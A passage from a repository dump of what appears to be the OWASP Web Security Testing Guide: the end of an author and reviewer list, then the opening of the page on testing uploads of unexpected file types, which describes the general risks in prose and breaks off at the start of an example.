Mitchell 58 | - Kevin Fuller - Nam Nguyen 59 | ``` 60 | 61 | ## v2 Authors 62 | 63 | ```html 64 | - Vicente Aguilera - David Endler - Matteo Meucci - Anush Shetty 65 | - Mauro Bregolin - Giorgio Fedon - Marco Morana - Larry Shields 66 | - Tom Brennan - Javier Fernández-Sanguino - Laura Nunez - Dafydd Studdard 67 | - Gary Burns - Andrew van der Stock - Glyn Geoghegan - Gunter Ollmann 68 | - Luca Carettoni - Sebastien Deleersnyder - Antonio Parata - Ariel Waissbein 69 | - Dan Cornell - Madhura Halasgikar - Yiannis Pavlosoglou - Jeff Williams 70 | - Mark Curphey - Eoin Keary - Carlo Pelliccioni - Tushar Vartak 71 | - Daniel Cuthbert - David Litchfield - Harinath Pudipeddi - Tom Ryan 72 | - Stan Guzik - Andrea Lombardini - Alberto Revelli - Claudio Merloni 73 | - Stephen DeVries - Ralph M. Los - Stefano Di Paola - Mark Roxberry 74 | ``` 75 | 76 | ## v2 Reviewers 77 | 78 | ```html 79 | - Vicente Aguilera - Mauro Bregolin - Daniel Cuthbert - Stefano Di Paola 80 | - Simona Forti - Eoin Keary - Katie McDowell - Matteo Meucci 81 | - Antonio Parata - Mark Roxberry - Marco Belotti - Marco Cova 82 | - Paul Davies - Matteo G.P. Flora - Darrell Groundy - James Kist 83 | - Marco Mella - Syed Mohamed A. - Alberto Revelli - Dave Wichers 84 | ``` 85 | -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/10-Testes-de-Logica-de-Negocios/08-Test_Upload_of_Unexpected_File_Types.md: -------------------------------------------------------------------------------- 1 | # Test Upload of Unexpected File Types 2 | 3 | |ID | 4 | |------------| 5 | |WSTG-BUSL-08| 6 | 7 | ## Summary 8 | 9 | Many applications' business processes allow for the upload and manipulation of data that is submitted via files. But the business process must check the files and only allow certain "approved" file types. Deciding what files are "approved" is determined by the business logic and is application/system specific. The risk in that by allowing users to upload files, attackers may submit an unexpected file type that that could be executed and adversely impact the application or system through attacks that may deface the web site, perform remote commands, browse the system files, browse the local resources, attack other servers, or exploit the local vulnerabilities, just to name a few. 10 | 11 | Vulnerabilities related to the upload of unexpected file types is unique in that the upload should quickly reject a file if it does not have a specific extension. Additionally, this is different from uploading malicious files in that in most cases an incorrect file format may not by it self be inherently "malicious" but may be detrimental to the saved data. For example if an application accepts Windows Excel files, if an similar database file is uploaded it may be read but data extracted my be moved to incorrect locations. 12 | 13 | The application may be expecting only certain file types to be uploaded for processing, such as `.csv` or `.txt` files. The application may not validate the uploaded file by extension (for low assurance file validation) or content (high assurance file validation). This may result in unexpected system or database results within the application/system or give attackers additional methods to exploit the application/system. 14 | 15 | ### Example 16 | 17 | Suppose a picture sharing application allows users to upload a `.gif` or `.jpg` graphic file to the web site. What if an attacker is able to upload an HTML file with a `